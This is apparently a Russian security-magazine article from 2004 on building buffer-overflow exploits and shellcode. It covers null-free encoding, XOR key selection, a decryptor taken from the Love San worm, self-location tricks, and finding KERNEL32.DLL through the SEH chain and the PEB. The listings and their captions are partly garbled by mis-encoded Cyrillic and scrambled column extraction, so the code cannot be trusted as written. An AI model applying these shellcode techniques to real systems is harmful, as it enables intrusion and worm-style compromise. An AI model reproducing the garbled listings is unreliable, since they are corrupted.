В секции данных… Переполняющиеся буфера, расположенные в секции данных (статические буфера) – настоящая золотая жила с точки зрения злоумышленника! Это единственный тип буферов, адреса которых явно задаются еще на этапе компиляции (вообще-то не компиляции, а компоновки, но это уже детали) и постоянны для каждой конкретной версии уязвимого приложения независимо от того, на какой операционной системе она выполняется. Самое главное – секция данных содержит огромное количество указателей на функции/данные, глобальные флаги, дескрипторы файлов и кучи, имена файлов, текстовые строки, буфера некоторых библиотечных функций… Правда, до всего этого богатства еще предстоит «дотянуться» и, если длина переполняющегося буфера окажется жестко ограничена сверху (как часто и случается), атакующий не получит от последнего никаких преимуществ! К тому же, если стек и куча гарантированно содержат указатели в определенных местах и поддерживают более или менее универсальные механизмы захвата управления, то в случае со статическими буферами атакующему остается надеяться лишь на удачу. А удача, как известно, баба подлая, и переполнения статических буферов носят единичный характер и всегда развиваются по уникальному сценарию, не допускающему обобщающей классификации.
Секреты проектирования shell-кода Попытка реализовать собственный shell-код неминуемо наталкивает атакующего на многочисленные ограничения, одни из которых обходятся путем хитроумных хаков и извращений, с другими же приходится мириться, воспринимая их как неотъемлемую часть жестоких сил природы.
34
Запрещенные символы Строковые переполняющиеся буфера (в особенности те, что относятся к консольному вводу и клавиатуре) налагают жесткие ограничения на ассортимент своего содержимого. Самое неприятное ограничение заключается в том, что символ нуля на всем протяжении строки может встречаться лишь однажды и лишь на конце строки (правда, это ограничение не распространяется на UNICODE-строки). Это затрудняет подготовку shell-кода и препятствует выбору произвольных целевых адресов. Код, не использующий нулевых байт, принято называть Zero Free-кодом, и техника его подготовки – настоящая Камаcутра.
Искусство затирания адресов Рассмотрим ситуацию, когда следом за переполняющимся буфером идет уязвимый указатель на вызываемую функцию (или указатель this), а интересующая злоумышленника функция root располагается по адресу 00401000h. Поскольку только один символ, затирающий указатель, может быть символом нуля, то непосредственная запись требуемого значения невозможна, и приходится хитрить. Начнем с того, что в 32-разрядных операционных системах (к которым, в частности, принадлежит Windows NT и многие клоны UNIX) стек, данные и код большинства приложений лежат в узком диапазоне адресов: 00100000h – ~00x00000h, т.е. как минимум один ноль у нас уже есть – и это старший байт адреса. В зависимости от архитектуры процессора он может располагаться как по младшим, так и по старшим адресам. Семейство x86-процессоров держит его в старших адресах, что с точки зрения атакующего очень даже хорошо, поскольку мы можем навязать уязвимому приложению любой XxYyZzh-адрес, при условии, что Xx, Yy и Zz не равны нулю. Теперь давайте рассуждать творчески: позарез необходимый нам адрес 401000h в прямом виде недостижим в принципе. Но, может быть, нас устроит что-нибудь другое? Например, почему бы не начать выполнение функции не с первого байта? Функции с классическим прологом (коих вокруг нас большинство) начинаются с инструкции PUSH EBP, сохраняющей значение регистра EBP в стеке. Если этого не сделать, то при выходе функция непременно грохнется, но… это уже будет не важно (свою миссию функция выполнила и все, что было нужно атакующему, она выполнила). Хуже, если паразитный символ нуля встречается в середине адреса или присутствует в нем дважды, например – 50000h. В некоторых случаях помогает способ коррекции существующих адресов. Допустим, затираемый указатель содержит адрес 5000FAh. Тогда, для достижения желаемого результата атакующий должен затереть один лишь младший символ адреса, заменив FAh символом нуля. Как вариант можно попробовать поискать в дизассемблерном листинге команду перехода (вызова) интересующей нас функции, – существует вероятность, что она будет располагаться по «правильным» адресам. При условии, что целевая функция вызывается не однажды и вызовы следуют из различных мест (а обычно именно так и бывает), вероятность, что хотя бы один из адресов нам «подойдет», весьма велика.
безопасность Следует также учитывать, что некоторые функции ввода не вырезают символ перевода каретки из вводимой строки, чем практически полностью обезоруживают атакующих. Непосредственный ввод целевых адресов становится практически невозможным (ну что интересного можно найти по адресу 0AXxYyh?), коррекция существующих адресов хотя и остается возможной, но на практике встретить подходящий указатель крайне маловероятно (фактически мы ограничены лишь одним адресом ??000A, где ?? – прежнее значение уязвимого указателя). Единственное, что остается – полностью затереть все 4-байта указателя вместе с двумя последующими за ним байтами. Тогда мы сможем навязать уязвимому приложению любой FfXxYyZz, где Ff > 00h. Этот регион обычно принадлежит коду операционной системы и драйверам. С ненулевой вероятностью здесь можно найти машинную команду, передающую управление по целевому адресу. В простейшем случае это CALL адрес/JMP адрес (что достаточно маловероятно), в более общем случае – CALL регистр/ JMP регистр. Обе – двухбайтовые команды (FF Dx и FF Ex соответственно), и в памяти таких последовательностей сотни! Главное, чтобы на момент вызова затертого указателя (а значит, и на момент передачи управления команде CALL регистр/JMP регистр) выбранный регистр содержал требуемый целевой адрес. Штатные функции консольного ввода интерпретируют некоторые символы особым образом (например, символ с кодом 008 удаляет символ, стоящий перед курсором) и они [censored] еще до попадания в уязвимый буфер. Следует быть готовым и к тому, что атакуемая программа контролирует корректность поступающих данных, откидывая все нетекстовые символы или (что еще хуже) приводит их к верхнему/нижнему регистру. Вероятность успешной атаки (если только это не DoS-атака) становится исчезающе мала.
Подготовка shell-кода В тех случаях, когда переполняющийся строковой буфер используется для передачи двоичного shell-кода (например, головы червя), проблема нулевых символов стоит чрезвычайно остро – нулевые символы содержатся как в машинных командах, так и на концах строк, передаваемых системным функциям в качестве основного аргумента (обычно это «cmd.exe» или «/bin/sh»). Для изгнания нулей из операндов машинных инструкций следует прибегнуть к адресной арифметике. Так, например, MOV EAX,01h (B8 00 00 00 01) эквивалентно XOR EAX,EAX/INC EAX (33 C0 40). Последняя запись, кстати, даже короче. Текстовые строки (вместе с завершающим нулем в конце) также могут быть сформированы непосредственно на вершине стека, например: Ëèñòèíã 3. Ðàçìåùåíèå ñòðîêîâûõ àðãóìåíòîâ íà ñòåêå ñ äèíàìè÷åñêîé ãåíåðàöèåé çàâåðøàþùåãî ñèìâîëà íóëÿ 00000000: 00000002: 00000003: 00000008:
33C0 50 682E657865 682E636D64
xor push push push
eax,eax eax 06578652E ;"exe." 0646D632E ;"dmc."
Как вариант можно воспользоваться командой XOR EAX,EAX/MOV [XXX], EAX, вставляющей завершающий
№4(17), апрель 2004
нуль в позицию XXX, где XXX – адрес конца текстовой строки, вычисленный тем или иным способом (см. «В поисках самого себя»). Более радикальным средством предотвращения появления нулей является шифровка shell-кода, в подавляющем большинстве случаев сводящаяся к тривиальному XOR. Основную трудность представляет поиск подходящего ключа шифрования – ни один шифруемый байт не должен обращаться в символ нуля. Поскольку, a XOR a == 0, для шифрования подойдет любой байтовый ключ, не совпадающий ни с одним байтом shell-кода. Если же в shellкоде присутствует полный набор всех возможных значений от 00h до FFh, следует увеличить длину ключа до слова и двойного слова, выбирая ее так, чтобы никакой байт накладываемой гаммы не совпадал ни с одним шифруемым байтом. А как построить такую гамму (метод перебора не предлагать)? Да очень просто – подсчитываем частоту каждого из символов shell-кода, отбираем 4 символа, которые встречаются реже всего, выписываем их смещения относительно начала shell-кода в столбик и вычисляем остаток от деления на 4. Вновь записываем полученные значения в столбик, отбирая те, которые в нем не встречаются, – это и будут позиции данного байта в ключе. Непонятно? Не волнуйтесь, сейчас все это разберем на конкретном примере. Допустим, в нашем shell-коде наиболее «низкочастотными» оказались символы 69h, ABh, CCh, DDh, встречающиеся в следующих позициях: Ëèñòèíã 4. Òàáëèöà ñìåùåíèé íàèáîëåå «íèçêî÷àñòîòíûõ» ñèìâîëîâ, îòñ÷èòûâàåìûõ îò íà÷àëà øèôðóåìîãî êîäà ñèìâîë ñìåùåíèÿ ïîçèöèé âñåõ åãî âõîæäåíèé ---------------------------------------------69h 04h, 17h, 21h ABh 12h, 1Bh, 1Eh, 1Fh, 27h CCh 01h, 15h, 18h, 1Ch, 24h, 26h DDh 02h, 03h, 06h, 16h, 19h, 1Ah, 1Dh
После вычисления остатка от деления на 4 над каждым из смещений мы получаем следующий ряд значений: Ëèñòèíã 5. Òàáëèöà îñòàòêîâ îò äåëåíèÿ ñìåùåíèé íà 4 ñèìâîë îñòàòîê îò äåëåíèÿ ñìåùåíèé ïîçèöèé íà 4 --------------------------------------------------69h 00h, 03h, 00h ABh 02h, 03h, 02h, 03h, 03h CCh 01h, 01h, 00h, 00h, 00h, 02h DDh 02h, 03h, 02h, 02h, 01h, 02h, 01h
Мы получили четыре ряда данных, представляющих собой позиции наложения шифруемого символа на гамму, в которой он обращается в нуль, что недопустимо, поэтому нам необходимо выписать все значения, которые не встречаются в каждом ряду данных: Ëèñòèíã 6. Òàáëèöà ïîäõîäÿùèõ ïîçèöèé ñèìâîëîâ êëþ÷à â ãàììå ñèìâîë ïîäõîäÿùèå ïîçèöèè â ãàììå ------------------------------------69h 01h, 02h ABh 00h, 01h CCh 03h DDh 00h
Теперь из полученных смещений можно собрать гамму, комбинируя их таким образом, чтобы каждый сим-
35
безопасность вол встречался в гамме лишь однажды. Смотрите, символ DDh может встречаться только в позиции 00h, символ CCh – только в позиции 03h, а два остальных символа – в любой из оставшихся позиций. То есть это будет либо DDh ABh 69h ССh, либо DD 69h ABh 69h. Если же гамму собрать не удается – необходимо увеличить ее длину. Разумеется, выполнять все расчеты вручную совершенно необязательно, и эту работу можно переложить на компьютер. Естественно, перед передачей управления на зашифрованный код он должен быть в обязательном порядке расшифрован. Эта задача возлагается на расшифровщик, к которому предъявляются следующие требования: он должен быть: а) по возможности компактным; б) позиционно независимым (т.е. полностью перемещаемым); в) не содержать в себе символов нуля. В частности, червь Love San поступает так: Ëèñòèíã 7. Ðàñøèôðîâùèê shell-êîäà, âûäðàííûé èç âèðóñà Love San .data:0040458B EB 19 jmp short loc_4045A6 .data:0040458B ; çäåñü ìû ïðûãàåì â ñåðåäèíó êîäà, .data:0040458B ; ÷òîáû ïîòîì ñîâåðøèòü CALL íàçàä .data:0040458B; (CALL âïåðåä ñîäåðæèò çàïðåùåííûå ñèìâîëû íóëÿ) .data:0040458D CODE XREF: sub_40458D+19↓p .data:0040458D sub_40458Dproc near; .data:0040458D .data:0040458D 5E pop esi ; ESI := 4045ABh ; âûòàëêèâàåì èç ñòåêà àäðåñ âîçâðàòà, ïîìåùåííûé òóäà ; êîìàíäîé CALL .data:0040458D ; ýòî íåîáõîäèìî äëÿ îïðåäåëåíèÿ ñâîåãî ìåñòîïîëîæåíèÿ â ïàìÿòè .data:0040458D .data:0040458D ; .data:0040458E 31 C9 xor ecx, ecx .data:0040458E ; îáíóëÿåì ðåãèñòð ECX .data:0040458E ; .data:00404590 81 E9 89 FF FF sub ecx, -77h .data:00404590 ; óâåëè÷èâàåì ECX íà 77h (óìåíüøàåì ECX íà –77h) ; êîìáèíàöèÿ XOR ECX,ECX/SUB ECX, -77h ýêâèâàëåíòíà MOV ECX, 77h .data:00404590 ; çà òåì èñêëþ÷åíèåì, ÷òî åå ìàøèííîå ïðåäñòàâëåíèå íå ñîäåðæèò ; â ñåáå íóëåé .data:00404590 .data:00404590 .data:00404596 .data:00404596 loc_404596: ; CODE XREF: sub_40458D+15↓ j .data:00404596 81 36 80 BF 32 xor dword ptr [esi], 9432BF80h ; ðàñøèôðîâûâàåì î÷åðåäíîå äâîéíîå ñëîâî ñïåöèàëüíî ; ïîäîáðàííîé ãàììîé .data:00404596 .data:00404596 ; .data:0040459C 81 EE FC FF FF sub esi, -4h ; óâåëè÷èâàåì ESI íà 4h (ïåðåõîäèì ê ñëåäóþùåìó äâîéíîìó ñëîâó) .data:0040459C .data:0040459C ; .data:004045A2 E2 F2 loop loc_404596 .data:004045A2 ; ìîòàåì öèêë, ïîêà åñòü ÷òî ðàñøèôðîâûâàòü .data:004045A2 ; .data:004045A4 EB 05 jmp short loc_4045AB ; ïåðåäàåì óïðàâëåíèå ðàñøèôðîâàííîìó shell-êîäó .data:004045A4 .data:004045A4 ; .data:004045A6 loc_4045A6: ; CODE XREF: .data:0040458B↑j .data:004045A6 E8 E2 FF FF FF call sub_40458D ; ïðûãàåì íàçàä, çàáðàñûâàÿ àäðåñ âîçâðàòà (à ýòî – àäðåñ ; ñëåäóþùåé âûïîëíÿåìîé èíñòðóêöèè) íà âåðøèíó ñòåêà, ïîñëå ; ÷åãî âûòàëêèâàåì åãî â ðåãèñòð ESI, ÷òî ýêâèâàëåíòíî ; MOV ESI, EIP, íî òàêîé ìàøèííîé êîìàíäû â ÿçûêå ; x86 ïðîöåññîðîâ íåò .data:004045A6 .data:004045A6 .data:004045A6
36
.data:004045A6 .data:004045A6 ; .data:004045AB ; íà÷àëî ðàñøèôðîâàííîãî òåêñòà
Вчера были большие, но по пять… или размер тоже имеет значение! По статистике габариты подавляющего большинства переполняющихся буферов составляют 8 байт. Значительно реже переполняются буфера, вмещающие в себя от 16 до 128 (512) байт, а буферов больших размеров в живой природе практически не встречается. Закладываясь на худший из возможных вариантов (а в боевой обстановке атакующим приходится действовать именно так!), учитесь выживать даже в жесточайших условиях окружающей среды с минимумом пищи, воды и кислорода. В крошечный объем переполняющегося буфера можно вместить очень многое, если подходить ко всякому делу творчески и думать головой. Первое (и самое простое), что пришло нашим хакерским предкам в голову – это разбить атакующую программу на две неравные части – компактную голову и протяжный хвост. Голова обеспечивает следующие функции: переполнение буфера, захват управления и загрузку хвоста. Голова может нести двоичный код, но может обходиться и без него, осуществляя всю диверсионную деятельность руками уязвимой программы. Действительно, многие программы содержат большое количество служебных функций, дающих полный контроль над системой или, на худой конец, позволяют вывести себя из строя и пойти в управляемый разнос. Искажение одной или нескольких критических ячеек программы ведет к ее немедленному обрушению, и количество искаженных ячеек начинает расти как снежный ком. Через длинную или короткую цепочку причинно-следственных событий в ключевые ячейки программы попадают значения, необходимые злоумышленнику. Причудливый узор мусорных байт внезапно складывается в законченную комбинацию, замок глухо щелкает и дверцы сейфа медленно раскрываются. Это похоже на шахматную головоломку с постановкой мата в N ходов, причем состояние большинства полей неизвестно, поэтому сложность задачи быстро растет с увеличением глубины N. Конкретные примеры головоломок привести сложно, т.к. даже простейшие из них занимают несколько страниц убористого текста (в противном же случае листинги выглядят слишком искусственно, а решение лежит буквально на поверхности). Интересующиеся могут обратиться к коду червя Slapper, до сих пор остающемуся непревзойденным эквилибристом по глубине атаки и детально проанализированным специалистами компании Symantec, отчет которых можно найти на их же сайте (см. «An Analysis of the Slapper Worm Exploit»). Впрочем, атаки подобного типа скорее относятся к экзотике интеллектуальных развлечений, чем к практическим приемам вторжения в систему и потому чрезвычайно мало распространены. В плане возвращения к средствам традиционной «мануальной терапии», отметим, что если размер переполняющегося буфера равен 8 байтам, отсюда еще не следует, что и длина shell-кода должна быть
безопасность равна тем же 8 байтам. Ведь это же переполняющийся буфер! Но не стоит бросаться и в другую крайность, надеяться, что предельно допустимая длина shell-кода окажется практически неограниченной. Подавляющее большинство уязвимых приложений содержат несколько уровней проверок корректности пользовательского ввода, которые будучи даже не совсем правильно реализованными, всетаки налагают определенные, подчас весьма жесткие, ограничения на атаку. Если в куцый объем переполняющегося буфера вместить загрузчик никак не удается, атакующий переходит к плану «B», заключающемуся в поиске альтернативных способов передачи shell-кода. Допустим, одно из полей пользовательского пакета данных допускает переполнение, приводящее к захвату управления, но его размер катастрофически мал. Но ведь остальные поля тоже содержатся в оперативной памяти! Так почему бы не использовать их для передачи shell-кода? Переполняющийся буфер, воздействуя на систему тем или иным образом, должен передать управление не на свое начало, а на первый байт shell-кода, если, конечно, атакующий знает относительный или абсолютный адрес последнего в памяти. Поскольку простейший способ передачи управления на автоматические буфера сводится к инструкции JMP ESP, то наиболее выгодно внедрять shell-код в те буфера, которые расположены в непосредственной близости от вершины стека, в противном случае ситуация рискует самопроизвольно выйти из под контроля и для создания надежно работающего shell-кода атакующему придется попотеть. Собственно говоря, shell-код может находиться в самых неожиданных местах, например, в хвосте последнего TCP-пакета (в подавляющем большинстве случаев он попадает в адресное пространство уязвимого процесса, причем зачастую располагается по более или менее предсказуемым адресам). В более сложных случаях shell-код может быть передан отдельным сеансом, – злоумышленник создает несколько подключений к серверу, по одному передается shell-код (без переполнения, но в тех полях, размер которых достаточен для его вмещения), а другому –запрос, вызывающий переполнение и передающий управление на shell-код. Дело в том, что в многопоточных приложениях локальные стеки всех потоков располагаются в едином адресном пространстве процесса и их адреса назначаются не хаотичным, а строго упорядоченным образом. При условии, что между двумя последними подключениями, установленными злоумышленником, к серверу не подключился кто-то еще, «трас-поточное» определение адресов представляет собой хоть и сложную, но вполне разрешимую проблему.
В поисках самого себя Предположим, что shell-код наделен сознанием (хотя это и не так). Что бы мы ощутили, оказавшись на его месте? Представьте себе, что вы диверсант-десантник которого выбрасывают куда-то в пустоту. Вас окружает враждебная территория и еще темнота. Где вы? В каком месте приземлились? Рекогносцировка на местности (лат. recognoscere [рассматривать] – разведка с целью получе-
№4(17), апрель 2004
ния сведений о расположении противника, его огневых средствах, особенностях местности, где предполагаются боевые действия, и т. п. проводимая командирами или офицерами штаба перед началом боевых действий) и будет вашей первой задачей (а если вас занесет в болото, то и последней тоже). Соответственно, первой задачей shell-кода является определение своего местоположения в памяти или строго говоря, текущего значения регистра указателя команд (в, частности, в x86-процессорах это регистр EIP). Статические буфера, расположенные в секции данных, располагаются по более или менее предсказуемым адресам, легко выявляемых дизассемблированием уязвимого приложения. Однако они чрезвычайно чувствительны к версии атакуемого приложения и в меньшей степени – к модели операционной системы (различные операционные системы имеют неодинаковый нижний адрес загрузки приложений). Динамические библиотеки в большинстве своем перемещаемы и могут загружаться в память по различным базовым адресам, хотя при статической компоновке каждый конкретный набор динамических библиотек всегда загружается одним и тем же образом. Автоматические буфера, расположенные в стеке, и динамические буфера, расположенные в куче, размещаются по чрезвычайно трудно предсказуемым или даже совершенно непредсказуемым адресам. Использование абсолютной адресации (или, говоря другими словами, жесткой привязки к конкретным адресам, вроде MOV EAX, [406090h]) ставит shell-код в зависимость от окружающей среды и приводит к многочисленным обрушениям уязвимых приложений, в которых буфер оказался не там, где ожидалось. «Из чего только делают современных хакеров, что они даже переполнить буфер, не угробив при этом систему, оказываются не в состоянии?» – вздыхает прошлое поколение. Чтобы этого не происходило, shell-код должен быть полностью перемещаемым – т.е. уметь работать в любых, заранее ему не известных адресах. Поставленную задачу можно решить двумя путями – либо использовать только относительную адресацию (что на x86-платформе в общем-то недостижимо), либо самостоятельно определять свой базовый адрес загрузки и вести «летоисчисление» уже от него. И тот, и другой способ рассматриваются ниже, с характерной для хакеров подробностью и обстоятельностью. Семейство x86-процессоров с относительной адресацей категорически не в ладах, и разработка shell-кода для них – это отличная гимнастика для ума. Всего имеется две относительные команды (CALL и JMP/Jx с опкодами E8h и Ebh,E9h/7xh,0F 8xh соответственно) и обе – команды управления. Непосредственное использование регистра EIP в адресных выражениях запрещено. Использование относительных CALL в 32-разрядном режиме имеет свои трудности. Аргумент команды задается знаковым 4-байтовым целым, отсчитываемым от начала следующей команды, и при вызове нижележащих подпрограмм в старших разрядах, содержащих одни нули. А поскольку в строковых буферах символ нуля может встретиться лишь однажды, такой shell-код просто не смо-
37
безопасность жет работать. Если же заменить нули на что-то другое, можно совершить очень далекий переход, далеко выходящий за пределы выделенного блока памяти. Уж лучше прыгать назад – в область младших адресов, тогда нули волшебным образом превратятся в символы с кодом FFh (которые, кстати говоря, так же относятся к категории «трудных» символов, которые соглашаются проглотить далеко не все уязвимые программы). Применив военную хитрость и засадив в инструкцию префикс 66h, мы не только сократим длину машинной команды на один байт (что в ряде случаев весьма актуально), но и оторвем два старших байта операнда (те, которые были с нулевыми символами). В машинном виде все это выглядит приблизительно так: Ëèñòèíã 8. Ìàøèííîå ïðåäñòàâëåíèå îòíîñèòåëüíûõ êîìàíä CALL 00000000: E804000000 00000005: 66E80101 00000009: E8F7FFFFFF
call call call
000000009 00000010A 000000005
Сказанное справедливо и по отношению к команде JMP, за тем лишь исключением, что команды условного перехода (равно как и команда JMP SHORT) размещают свой адрес перехода в одном-единственном байте, что не только усиливает компактность кода, но и избавляет нас от проблемы «трудных» символов. Если же необходимо совершить переход по абсолютному адресу (например, вызвать некоторую системную функцию или функцию уязвимой программы), можно воспользоваться конструкцией CALL регистр/JMP регистр, предварительно загрузив регистр командой MOV регистр, непосредственный операнд (от нулевых символов можно избавиться с помощью команд адресной арифметики) или командой CALL непосредственный операнд с опкодом FF /2, 9A или FF /3 для ближнего, дальнего и перехода по операнду в памяти соответственно. Относительная адресация данных (в т.ч. и самомодифицирующегося кода) обеспечивается на порядок сложнее. Все имеющиеся в нашем распоряжении команды адресуются исключительно относительно регистра-указателя верхушки стека (в x86 процессорах это регистр ESP), что, конечно, довольно привлекательно само по себе, но и таит определенную внутреннюю опасность. Положение указателя стека после переполнения в общем случае не определено, и наличие необходимого количества стековой памяти не гарантировано. Так что действовать приходится на свой страх и риск. Стек можно использовать и для подготовки строковых/ числовых аргументов системных функций, формируя их командой PUSH и передавая через относительный указатель ESP + X, где X может быть как числом, так и регистром. Аналогичным образом осуществляется и подготовка самомодифицирующегося кода – мы «пишем» код в стек и модифицируем его, отталкиваясь от значения регистра ESP. Любители же «классической миссионерской» могут пойти другим путем, определяя текущую позицию EIP посредством конструкции CALL $ + 5/RET, правда в лоб такую последовательность машинных команд в строковой буфер не передать, т.к. 32-разрядный аргумент команды CALL содержит несколько символов нуля. В простейшем
38
случае они изгоняются «заклинанием» 66 E8 FF FF C0, которое эквивалентно инструкциям CALL $3/INC EAX, наложенным друг на друга (естественно, это может быть не только EAX и не только INC). Затем лишь остается вытолкнуть содержимое верхушки стека в любой регистр общего назначения, например, EBP или EBX. К сожалению, без использования стека здесь не обойтись, и предлагаемый метод требует, чтобы указатель вершины стека смотрел на выделенный регион памяти, доступной на запись. Для перестраховки (если переполняющийся буфер действительно срывает стек начисто) регистр ESP рекомендуется инициализировать самостоятельно. Это действительно очень просто сделать, ведь многие из регистровых переменных уязвимой программы содержат предсказуемые значения, точнее – используются предсказуемым образом. Так, в Си++ программах ECX наверняка содержит указатель this, а this – это не только ценный мех, но и как минимум 4 байта доступной памяти! В порядке дальнейшего развития этой идеи отметим, что не стоит, право же, игнорировать значения регистров, доставшихся shell-коду в момент начала его выполнения. Многие из них указывают на полезные структуры данных и выделенные регионы памяти, которые мы гарантированно можем использовать, не рискуя нарваться на исключение и прочие неожиданные неприятности. Некоторые регистровые переменные чувствительны к версии уязвимого приложения, некоторые – к версии компилятора и ключам компиляции, так что «гарантированность» эта очень и очень относительна, впрочем, как и все сущее на земле.
Техника вызова системных функций Возможность вызова системных функций, строго говоря, не является обязательным условием успешности атаки, поскольку все необходимое для атаки жертва (уязвимая программа) уже содержит внутри себя, в том числе и вызовы системных функций вместе с высокоуровневой оберткой прикладных библиотек вокруг них. Дизассемблировав исследуемое приложение и определив целевые адреса интересующих нас функций, мы можем сделать CALL целевой адрес или PUSH адрес возврата/JMP относительный целевой адрес или MOV регистр, абсолютный целевой адрес/PUSH адрес возврата/JMP регистр. Замечательно, если уязвимая программа импортирует пару функций LoadLibrary/GetProcAddress, – тогда shellкод сможет загрузить любую динамическую библиотеку и обратиться к любой из ее функций. А если функции GetProcAddress в таблице импорта нет? Тогда атакующий будет вынужден самостоятельно определять адреса интересующих его функций, отталкиваясь от базового адреса загрузки, возращенным LoadLibrary и действуя либо путем «ручного» разбора PE-файла, либо отождествляя функции по их сигнатурам. Первое сложно, второе – ненадежно. Закладываться на фиксированные адреса системных функций категорически недопустимо, поскольку они варьируются от одной версии операционной системы к другой. Хорошо, а как быть, когда функция LoadLibrary в таблице импорта конкретно отсутствует и одной или нескольких системных функций, жизненно необходимых shell-коду для
безопасность распространения, там тоже нет? В UNIX-системах можно (и нужно!) использовать прямой вызов функций ядра, реализуемый либо посредством прерывания по вектору 80h (LINUX, Free BSD, параметры передаются через регистры), либо через дальний CALL по адресу 0007h:00000000h (System V, параметры передаются через стек), при этом номера системных вызовов содержатся в файле /usr/include/ sys/syscall.h, также смотри врезку. Еще можно вспомнить машинные команды syscall/sysenter, которые, как и следует из их названия, осуществляют прямые системные вызовы вместе с передачей параметров. В Windows NT и производных от нее системах дела обстоят намного сложнее. Взаимодействие с ядром реализуется посредством прерывания INT 2Eh, неофициально называемого native API interface («родной» API-интерфейс). Кое-какая информация на этот счет содержится в легендарном Interrupt List Ральфа Брауна и «Недокументированных возможностях Windows NT» Коберниченко, но мало, очень мало. Это чрезвычайно скудно документированный интерфейс, и единственным источником данных остаются дизассемблерные листинги KERNEL32.DLL и NTDLL.DLL. Работа c native API требует высокого профессионализма и глубокого знания архитектуры операционной системы, да и как-то громоздко все получается, – ядро NT оперирует с небольшим числом довольно примитивных (или, если угодно, – низкоуровневых) функций. К непосредственному употреблению они непригодны и, как и всякий полуфабрикат, должны быть соответствующим образом приготовлены. Например, функция LoadLibrary «распадается» по меньшей мере на два системных вызова – NtCreateFile (EAX == 17h) открывает файл, NtCreateSection (EAX == 2Bh) проецирует файл в память (т.е. работает как CreateFileMapping), после чего NtClose (EAX == 0Fh) со спокойной совестью закрывает дескриптор. Что же касается функции GetProcAddress, то она целиком реализована в NTDLL.DLL и в ядре даже не ночевала (впрочем, при наличии спецификации PE-формата – она входит в Platform SDK и MSDN – таблицу экспорта можно проанализировать и «вручную»). С другой стороны, обращаться к ядру для выбора «эмулятора» LoadLibrary совершенно необязательно, поскольку библиотеки NTDLL.DLL и KERNEL32.DLL всегда присутствуют в адресном пространстве любого процесса, и если мы сможем определить адрес их загрузки, мы сорвем банк. Автору известны два способа решения этой задачи – через системный обработчик структурных исключений и через PEB. Первый – самоочевиден, но громоздок и неэлегантен, а второй элегантен, но ненадежен. «PEB только на моей памяти менялась три раза» (с) Юрий Харон. Однако последнее обстоятельство ничуть не помешало червю Love San разбросать себя по миллионам машин. Если во время выполнения приложения возникает исключительная ситуация (деление на ноль или обращение к несуществующей странице памяти, например), и само приложение никак ее не обрабатывает, то управление получает системный обработчик, реализованный внутри KERNEL32.DLL и в W2K SP3, расположенный по адресу 77EA1856h. В других операционных системах этот адрес будет иным, поэтому грамотно спроектированный shellкод должен автоматически определять адрес обработчи-
№4(17), апрель 2004
ка на лету. Вызывать исключение и трассировать код (как это приходилось делать во времена старушки MS-DOS) теперь совершенно необязательно. Лучше обратиться к цепочке структурных обработчиков, упакованных в структуру EXCEPTION_REGISTRATION, первое двойное слово которых содержит указатель на следующий обработчик (или FFFFFFFFh, если никаких обработчиков больше нет), а второе – адрес данного обработчика Ëèñòèíã 9. Ñòðóêòóðà EXCEPTION REGISTRATION _EXCEPTION_REGISTRATION struc prev dd ? handler dd ? _EXCEPTION_REGISTRATION ends
Первый элемент цепочки обработчиков хранится по адресу FS:[00000000h], а все последующие – непосредственно в адресном пространстве подопытного процесса. Перемещаясь от элемента к элементу, мы будем двигаться до тех пор, пока в поле prev не встретим FFFFFFFFFh, тогда поле handler предыдущего элемента будет содержать адрес системного обработчика. Неофициально этот механизм называется «раскруткой стека структурных исключений» и подробнее о нем можно прочитать в статье Мэтта Питрека «A Crash Course on the Depths of Win32 Structured Exception Handling», входящий в состав MSDN. В качестве наглядной иллюстрации ниже приведен код, возвращающий в регистре EAX адрес системного обработчика. Ëèñòèíã 10. Êîä, îïðåäåëÿþùèé áàçîâûé àäðåñ çàãðóçêè KERNEL32.DLL ïî SEH .data:00501007 xor eax, eax ; EAX := 0 .data:00501009 xor ebx, ebx ; EBX := 0 ; àäðåñ îáðàáîò÷èêà .data:0050100B mov ecx, fs:[eax+4] ; óêàçàòåëü íà ñëåäóþùèé îáðàáîò÷èê .data:0050100F mov eax, fs:[eax] ; íà ïðîâåðêó óñëîâèÿ öèêëà .data:00501012 jmp short loc_501019 ; -------------------------------------------------------.data:00501014 .data:00501014 loc_501014: ; àäðåñ îáðàáîò÷èêà .data:00501014 mov ebx, [eax+4] ; óêàçàòåëü íà ñëåä. îáðàáîò÷èê .data:00501017 mov eax, [eax] .data:00501019 .data:00501019 loc_501019: ; ýòî ïîñëåäíèé îáðàáîò÷èê? .data:00501019 cmp eax, 0FFFFFFFFh ; ìîòàåì öèêë, ïîêà íå êîíåö .data:0050101C jnz short loc_501014
Коль скоро по крайней мере один адрес, принадлежащий библиотеке KERNEL32.DLL, нам известен, определить базовый адрес ее загрузки уже не составит никакого труда (он кратен 1000h и содержит в своем начале NewExe заголовок, элементарно опознаваемый по сигнатурам «MZ» и «PE»). Следующий код принимает и ожидает в регистре EBP адрес системного загрузчика и в нем же возвращает базовый адрес загрузки KERNEL32.DLL. Ëèñòèíã 11. Ôóíêöèÿ, îïðåäåëÿþùàÿ áàçîâûé àäðåñ çàãðóçêè KERNEL32.DLL ïóòåì ïîèñêà ñèãíàòóð «MZ» è «PE» â îïåðàòèâíîé ïàìÿòè ; ýòî «MZ»? 001B:0044676C
CMP
WORD PTR [EBP+00],5A4D
39
безопасность ; -- íåò, íå MZ --> 001B:00446772 ; íà «PE» çàãîëîâîê 001B:00446774 ; ýòî «PE»? 001B:00446777 ; -- äà, ýòî PE --> 001B:0044677F ; ñëåä. 1 Êá áëîê 001B:00446781 ; ìîòàåì öèêë 001B:00446787 001B:00446789
JNZ
00446781
MOV
EAX,[EBP+3C]
CMP
DWORD PTR [EAX+EBP+0],4550
JZ
00446789
SUB
EBP,00010000
LOOP …
0044676C
Существует и более элегантный способ определения базового адреса загрузки KERNEL32.DLL, основанный на PEB (Process Environment Block – блок окружения процесса), указатель на который содержится в двойном слове по адресу FS:[00000030h], а сам PEB разлагается следующим образом: Ëèñòèíã 12. Ðåàëèçàöèÿ ñòðóêòóðû PEB â W2K/XP PEB
PEB
PEB_InheritedAddressSpace PEB_ReadImageFileExecOptions PEB_BeingDebugged PEB_SpareBool PEB_Mutant PEB_ImageBaseAddress ; +0Ch PEB_PebLdrData … PEB_SessionId
STRUC DB DB DB DB DD DD
? ? ? ? ? ?
DD
PEB_LDR_DATA PTR ?
DD
?
